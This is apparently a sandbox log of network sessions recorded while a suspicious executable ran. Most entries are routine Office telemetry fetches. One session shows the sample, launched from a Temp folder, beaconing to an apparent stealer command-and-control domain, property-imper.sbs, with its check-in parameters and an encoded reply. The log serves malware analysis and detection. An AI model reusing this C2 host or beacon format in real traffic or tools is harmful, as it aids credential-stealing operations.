2024-11-23 17:22:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172218Z-15b8b599d88pxmdghC1TEBux9c000000037g00000000mxuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:18 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:18 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172218Z-174c587ffdfb5q56hC1TEB04kg000000034000000000dwuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:19 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 17:22:18 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 17:22:19 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mb3ehl77h9riq99q6mb42966iu; expires=Wed, 19-Mar-2025 11:08:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BbBdoDeZVHW3GLiI9YhRXSlYrY6IP1WjIex%2FOLWxjQM7%2F8cqPxs%2FpvHgWvqPO8w0V7lSnXLG4FqwBlhrZ7wRq%2ByiQAtxpUeV8HU8zWXzkAHdthxd%2F0Y8lG5BxGhk7cSjt0gNnXY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7340d5f19cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1885&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1211115&cwnd=247&unsent_bytes=0&cid=f61b8b47ab498963&ts=712&x=0"
2024-11-23 17:22:19 UTC	352	IN	Data Raw: 34 64 61 0d 0a 73 34 64 78 6e 4b 32 70 74 57 52 73 6a 75 71 4e 37 4a 76 4a 50 53 35 57 55 75 53 79 68 37 31 7a 4a 66 4e 30 58 66 47 6d 33 30 4c 49 70 51 65 2b 6c 35 32 5a 52 68 2f 72 79 4c 65 59 36 62 78 59 41 6e 51 7a 67 4a 43 39 32 78 4a 4a 67 42 46 78 30 39 43 79 59 49 6e 68 45 50 44 65 7a 4a 6c 47 43 66 62 49 74 37 66 67 36 31 68 41 64 47 6a 47 31 2b 33 66 45 6b 6d 52 46 54 61 65 31 72 4d 68 32 2b 73 57 39 4d 6a 4b 30 51 55 41 34 34 2f 6f 69 66 71 6a 55 30 63 37 4f 6f 6d 51 71 35 38 57 58 39 46 4f 66 37 7a 44 71 79 50 2b 35 67 4c 33 6a 39 53 5a 48 30 37 72 68 4b 2f 57 75 61 68 59 54 44 6f 30 67 4e 6e 76 31 52 74 42 6b 42 41 33 67 63 2b 35 4b 74 76 6c 46 66 58 43 77 38 55 49 43 75 53 45 37 6f 50 36 36 78 45 4d 4d 79 6a 47 69 4b 57 4d 49 30 53 41 42 79 Data Ascii: 4das4dxnK2ptWRsjuqN7JvJPS5WUuSyh71zJfN0XfGm30LIpQe+l52ZRh/ryLeY6bxYAnQzgJC92xJJgBFx09CyYInhEPDezJlGCfbIt7fg61hAdGjG1+3fEkmRFTae1rMh2+sW9MjK0QUA44/oifqjU0c7OomQq58WX9FOf7zDqyP+5gL3j9SZH07rhK/WuahYTDo0gNnv1RtBkBA3gc+5KtvlFfXCw8UICuSE7oP66xEMMyjGiKWMI0SABy
2024-11-23 17:22:19 UTC	897	IN	Data Raw: 4f 78 74 63 55 42 75 65 44 36 70 7a 79 6f 6c 4a 42 4e 44 32 4d 33 2b 62 66 46 6b 32 62 47 54 57 58 79 62 41 6d 30 65 56 54 73 49 2f 4d 7a 30 5a 57 72 4b 76 71 6e 76 36 6e 53 51 34 4f 63 4a 6d 65 2f 4a 38 57 53 39 46 4f 66 35 76 42 76 69 50 61 36 68 44 32 78 4e 6e 58 46 41 6a 68 6a 66 32 49 2f 4b 56 56 54 79 59 36 69 4e 62 6d 31 68 70 4f 6c 42 45 37 30 34 72 39 4a 38 6d 6c 53 37 37 75 78 74 77 4b 42 50 75 49 72 35 47 33 73 68 39 4c 4f 48 44 65 6b 4f 48 65 46 55 61 56 47 44 47 58 79 4c 73 75 33 4f 6f 56 39 4d 2f 4d 33 51 34 47 37 59 58 6b 67 66 6d 75 55 6b 67 79 50 49 66 56 70 5a 46 52 51 49 6c 57 5a 39 50 71 75 69 50 44 70 79 62 39 77 63 58 51 45 45 37 7a 78 76 62 4f 2f 71 63 66 46 48 51 2b 67 39 2f 33 33 67 4e 43 6e 77 51 7a 6c 73 4b 77 49 39 2f 6c 46 76 Data Ascii: OxtcUBueD6pzyolJBND2M3+bfFk2bGTWXybAm0eVTsI/Mz0ZWrKvqnv6nSQ4OcJme/J8WS9FOf5vBviPa6hD2xNnXFAjhjf2I/KVVTyY6iNbm1hpOlBE704r9J8mlS77uxtwKBPuIr5G3sh9LOHDekOHeFUaVGDGXyLsu3OoV9M/M3Q4G7YXkgfmuUkgyPIfVpZFRQIlWZ9PquiPDpyb9wcXQEE7zxvbO/qcfFHQ+g9/33gNCnwQzlsKwI9/lFv
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 72 4c 78 74 67 50 42 2b 57 61 35 59 4c 33 75 56 4a 47 4d 54 36 4b 31 65 72 66 45 45 61 66 48 44 54 54 69 76 30 6e 79 61 56 4c 76 75 44 47 78 78 51 45 35 35 6d 74 75 2f 71 6c 55 55 73 69 63 4a 6d 65 2f 4a 38 57 53 39 46 4f 66 35 6a 43 73 53 7a 52 34 77 48 77 77 4e 6e 64 46 41 72 69 6a 4f 4f 41 38 4b 5a 51 53 53 59 30 68 73 4c 6b 32 68 5a 4a 6e 41 51 36 30 34 72 39 4a 38 6d 6c 53 37 37 31 2f 39 41 57 48 2b 76 4b 32 6f 33 33 70 56 68 61 64 43 2f 49 79 61 58 59 48 51 66 4a 56 6a 79 66 79 62 51 6c 33 76 63 5a 38 73 37 5a 30 41 38 48 35 6f 6e 68 67 66 4b 6e 57 6c 34 2f 50 34 37 66 35 4e 49 63 54 4a 55 57 66 39 32 45 75 6a 69 52 76 56 50 66 77 73 54 46 42 52 2b 75 76 65 79 41 39 36 78 4a 44 43 74 2b 6e 35 44 69 30 31 45 66 30 52 63 7a 6e 38 57 Data Ascii: 3f92rLxtgPB+Wa5YL3uVJGMT6K1erfEEafHDTTiv0nyaVLvuDGxxQE55mtu/qlUUsicJme/J8WS9FOf5jCsSzR4wHwwNndFArijOOA8KZQSSY0hsLk2hZJnAQ604r9J8mlS771/9AWH+vK2o33pVhadC/IyaXYHQfJVjyfybQl3vcZ8s7Z0A8H5onhgfKnWl4/P47f5NIcTJUWf92EujiRvVPfwsTFBR+uveyA96xJDCt+n5Di01Ef0Rczn8W
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 68 54 31 78 4d 2f 54 42 67 50 6e 68 75 47 48 39 61 4e 54 53 79 59 39 67 39 6a 76 31 68 52 4c 6e 42 55 74 6b 4d 58 39 62 70 48 69 43 37 36 58 69 2f 41 31 4f 63 2f 49 38 4d 44 67 36 31 68 41 64 47 6a 47 30 65 33 59 48 30 4f 44 47 43 32 64 77 37 30 6d 32 65 30 55 38 73 48 46 78 51 34 50 37 49 62 67 68 76 43 76 58 6b 67 77 50 49 47 51 71 35 38 57 58 39 46 4f 66 37 76 48 70 7a 71 54 79 78 6a 2b 79 4e 76 42 48 55 37 7a 78 76 62 4f 2f 71 63 66 46 48 51 30 6a 64 72 73 33 42 68 44 6e 42 59 32 6e 4d 32 31 4c 64 6e 33 45 76 54 64 7a 39 49 48 41 65 61 4d 35 34 4c 32 70 31 74 65 50 33 44 49 6b 4f 4c 48 55 52 2f 52 4e 6a 53 46 35 36 38 79 6b 66 70 64 35 34 2f 4d 32 30 5a 57 72 49 48 6a 6a 2f 69 68 57 55 63 78 50 59 62 56 37 39 67 64 52 35 45 56 4f 5a 58 4a 74 53 6a 64 Data Ascii: hT1xM/TBgPnhuGH9aNTSyY9g9jv1hRLnBUtkMX9bpHiC76Xi/A1Oc/I8MDg61hAdGjG0e3YH0ODGC2dw70m2e0U8sHFxQ4P7IbghvCvXkgwPIGQq58WX9FOf7vHpzqTyxj+yNvBHU7zxvbO/qcfFHQ0jdrs3BhDnBY2nM21Ldn3EvTdz9IHAeaM54L2p1teP3DIkOLHUR/RNjSF568ykfpd54/M20ZWrIHjj/ihWUcxPYbV79gdR5EVOZXJtSjd
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 44 4f 33 77 30 49 34 6f 6e 70 67 76 54 72 45 51 77 7a 4b 4d 61 49 70 66 67 4c 53 70 63 42 4c 71 62 44 76 58 47 52 2b 6c 33 6e 6a 38 7a 62 52 6c 61 73 68 65 4f 45 39 4b 35 62 52 44 4d 7a 68 39 7a 68 30 68 78 44 6d 42 49 36 67 64 61 37 4c 74 48 71 48 66 48 44 32 64 6b 44 44 75 44 49 6f 63 37 2b 73 78 38 55 64 41 47 52 30 4b 58 41 58 31 37 52 45 54 50 54 6e 50 30 76 33 50 63 66 38 63 2f 4b 31 41 49 46 36 34 37 70 6a 2f 71 75 58 45 6b 79 4d 59 62 63 37 39 67 5a 54 5a 38 62 4f 5a 66 43 75 32 43 66 70 52 54 6d 6a 35 4f 58 4e 41 50 69 67 65 79 49 39 4c 31 33 66 58 51 76 79 4d 6d 6c 32 42 30 48 79 56 59 37 6d 4d 79 78 4a 64 6e 67 45 76 62 46 77 39 67 4a 48 4f 32 48 35 6f 6e 79 70 6c 42 43 4d 54 36 55 31 2b 37 55 47 55 36 66 45 48 2f 64 68 4c 6f 34 6b 62 31 54 79 Data Ascii: DO3w0I4onpgvTrEQwzKMaIpfgLSpcBLqbDvXGR+l3nj8zbRlasheOE9K5bRDMzh9zh0hxDmBI6gda7LtHqHfHD2dkDDuDIoc7+sx8UdAGR0KXAX17RETPTnP0v3Pcf8c/K1AIF647pj/quXEkyMYbc79gZTZ8bOZfCu2CfpRTmj5OXNAPigeyI9L13fXQvyMml2B0HyVY7mMyxJdngEvbFw9gJHO2H5onyplBCMT6U1+7UGU6fEH/dhLo4kb1Ty
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 42 42 75 69 47 2f 59 2f 32 36 78 45 4d 4d 79 6a 47 69 4b 58 75 42 30 43 57 47 58 32 36 77 36 59 68 32 2b 59 59 38 6f 2f 55 6d 52 39 4f 36 34 53 76 31 72 6d 6d 55 30 45 77 49 6f 72 51 35 64 59 57 54 59 4d 5a 4d 4a 37 48 76 53 58 44 35 41 48 78 78 4d 37 55 41 67 48 6a 68 4f 65 45 75 65 55 66 53 79 78 77 33 70 44 4a 33 41 42 4e 30 7a 45 6c 68 63 4f 78 4d 64 72 6f 48 37 37 51 68 63 35 47 43 65 44 49 74 38 37 35 71 6c 4a 65 4d 54 47 4d 32 75 6a 58 48 6b 4b 55 47 54 75 58 7a 37 4d 79 33 2b 6f 54 2b 4d 54 4b 30 67 55 46 35 6f 62 6d 6e 4c 6e 6c 48 30 73 73 63 4e 36 51 7a 38 51 51 53 70 31 55 45 5a 6a 53 75 6d 4c 77 36 78 6a 35 77 39 32 58 47 55 44 31 79 4f 69 43 75 66 4d 66 52 54 6f 38 68 64 66 74 31 78 52 48 6d 68 59 77 6d 63 71 36 4d 74 76 70 47 65 7a 41 79 4e Data Ascii: BBuiG/Y/26xEMMyjGiKXuB0CWGX26w6Yh2+YY8o/UmR9O64Sv1rmmU0EwIorQ5dYWTYMZMJ7HvSXD5AHxxM7UAgHjhOeEueUfSyxw3pDJ3ABN0zElhcOxMdroH77Qhc5GCeDIt875qlJeMTGM2ujXHkKUGTuXz7My3+oT+MTK0gUF5obmnLnlH0sscN6Qz8QQSp1UEZjSumLw6xj5w92XGUD1yOiCufMfRTo8hdft1xRHmhYwmcq6MtvpGezAyN
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 78 76 62 4f 2f 71 63 66 46 48 51 77 67 74 7a 6d 32 42 39 49 6e 42 6b 34 6d 4d 75 33 4c 73 50 71 46 76 62 44 77 39 6f 55 42 4f 61 61 35 6f 66 30 70 56 64 65 4e 33 44 49 6b 4f 4c 48 55 52 2f 52 4a 44 57 51 79 4b 73 74 33 71 55 4d 73 4e 61 4c 30 41 70 4f 74 4d 6a 39 6e 50 6d 67 58 30 73 36 49 6f 66 59 36 74 55 52 51 5a 6f 63 50 4a 72 41 73 79 6e 58 35 42 37 2f 7a 73 76 53 42 67 66 2b 68 61 2f 41 75 61 78 48 44 47 78 77 73 64 7a 75 37 68 4a 52 30 51 6c 78 69 6f 53 36 4c 4a 47 39 55 2f 2f 64 78 74 38 43 44 75 47 4f 35 49 2f 34 71 46 39 4d 4e 7a 43 44 32 2b 72 5a 46 6b 71 62 48 7a 61 42 7a 4c 6b 79 30 65 6b 58 76 6f 47 4c 30 42 35 4f 74 4d 6a 66 6a 66 4b 6e 58 30 45 68 63 4a 6d 65 2f 4a 38 57 53 39 46 4f 66 35 76 50 74 69 62 61 35 68 44 77 78 4d 48 59 43 51 54 Data Ascii: xvbO/qcfFHQwgtzm2B9InBk4mMu3LsPqFvbDw9oUBOaa5of0pVdeN3DIkOLHUR/RJDWQyKst3qUMsNaL0ApOtMj9nPmgX0s6IofY6tURQZocPJrAsynX5B7/zsvSBgf+ha/AuaxHDGxwsdzu7hJR0QlxioS6LJG9U//dxt8CDuGO5I/4qF9MNzCD2+rZFkqbHzaBzLky0ekXvoGL0B5OtMjfjfKnX0EhcJme/J8WS9FOf5vPtiba5hDwxMHYCQT
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 50 69 6d 56 45 42 32 4d 59 76 41 34 70 39 66 42 35 64 57 5a 38 4f 4b 2f 53 54 41 70 55 75 75 6e 5a 43 43 56 56 6d 38 32 76 44 41 34 4f 74 4a 44 47 78 69 79 4a 44 33 6e 30 6b 48 31 68 55 74 67 63 4b 2b 4e 74 4b 69 4c 63 44 76 77 4e 73 46 41 75 32 50 72 38 43 35 70 42 38 55 44 58 43 46 77 76 65 51 41 46 47 63 42 6a 6a 66 7a 4b 77 74 33 61 56 64 76 6f 50 50 33 41 6f 4c 36 35 69 67 6e 4f 6d 67 55 31 70 34 4e 4a 53 51 71 35 38 41 54 4a 34 45 4d 5a 53 4c 72 44 62 63 39 52 44 37 79 49 66 66 46 77 50 67 79 4b 48 4f 37 4b 42 54 53 6a 6b 6c 79 63 48 7a 33 41 64 41 33 52 34 75 6e 73 6a 39 48 35 2b 6c 43 37 36 58 69 2b 49 46 41 4f 4b 50 2b 5a 2b 30 69 31 52 41 4e 7a 79 48 31 36 57 52 55 55 48 52 54 6d 7a 64 68 4c 6b 78 6b 62 31 44 72 4a 53 65 68 46 46 65 76 70 65 68 Data Ascii: PimVEB2MYvA4p9fB5dWZ8OK/STApUuunZCCVVm82vDA4OtJDGxiyJD3n0kH1hUtgcK+NtKiLcDvwNsFAu2Pr8C5pB8UDXCFwveQAFGcBjjfzKwt3aVdvoPP3AoL65ignOmgU1p4NJSQq58ATJ4EMZSLrDbc9RD7yIffFwPgyKHO7KBTSjklycHz3AdA3R4unsj9H5+lC76Xi+IFAOKP+Z+0i1RANzyH16WRUUHRTmzdhLkxkb1DrJSehFFevpeh
2024-11-23 17:22:19 UTC	1369	IN	Data Raw: 6b 4d 62 47 50 49 6b 50 65 66 53 51 66 57 47 44 4b 53 78 37 4d 6a 77 2f 63 56 2f 64 6e 49 6b 44 67 77 79 59 58 69 69 2f 65 73 59 58 49 56 4f 70 62 64 36 74 67 76 65 61 59 48 4f 49 4f 47 6d 79 50 48 35 6c 4f 77 6a 39 4f 58 58 6b 37 4e 67 76 2b 44 39 71 77 66 41 6e 51 30 78 6f 69 6c 2b 68 78 4b 6c 42 67 34 30 65 57 33 4d 4e 7a 71 46 4c 36 42 69 39 74 47 56 71 79 4a 35 5a 37 30 70 46 67 41 4d 79 71 42 6b 4b 75 66 48 77 66 4a 56 6a 36 5a 31 4c 41 76 31 71 6b 56 38 4d 47 4c 79 45 67 58 72 4a 36 76 31 71 72 6c 48 31 35 30 61 4d 61 58 36 39 49 51 52 4a 38 56 4c 59 48 43 76 6a 62 53 6f 69 33 41 36 73 62 61 41 77 44 72 74 74 47 76 38 37 74 53 51 7a 4e 79 70 74 66 7a 33 43 39 35 70 67 63 34 67 34 61 62 49 38 66 6d 55 37 43 50 30 35 64 65 54 73 32 43 2f 34 50 32 72 Data Ascii: kMbGPIkPefSQfWGDKSx7Mjw/cV/dnIkDgwyYXii/esYXIVOpbd6tgveaYHOIOGmyPH5lOwj9OXXk7Ngv+D9qwfAnQ0xoil+hxKlBg40eW3MNzqFL6Bi9tGVqyJ5Z70pFgAMyqBkKufHwfJVj6Z1LAv1qkV8MGLyEgXrJ6v1qrlH150aMaX69IQRJ8VLYHCvjbSoi3A6sbaAwDrttGv87tSQzNyptfz3C95pgc4g4abI8fmU7CP05deTs2C/4P2r

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:18 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172219Z-174c587ffdf59vqchC1TEByk6800000003b000000000f9nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:19 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172219Z-174c587ffdf4zw2thC1TEBu34000000003cg000000003me9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:19 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172219Z-178bfbc474bvjk8shC1NYC83ns00000004qg0000000023na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
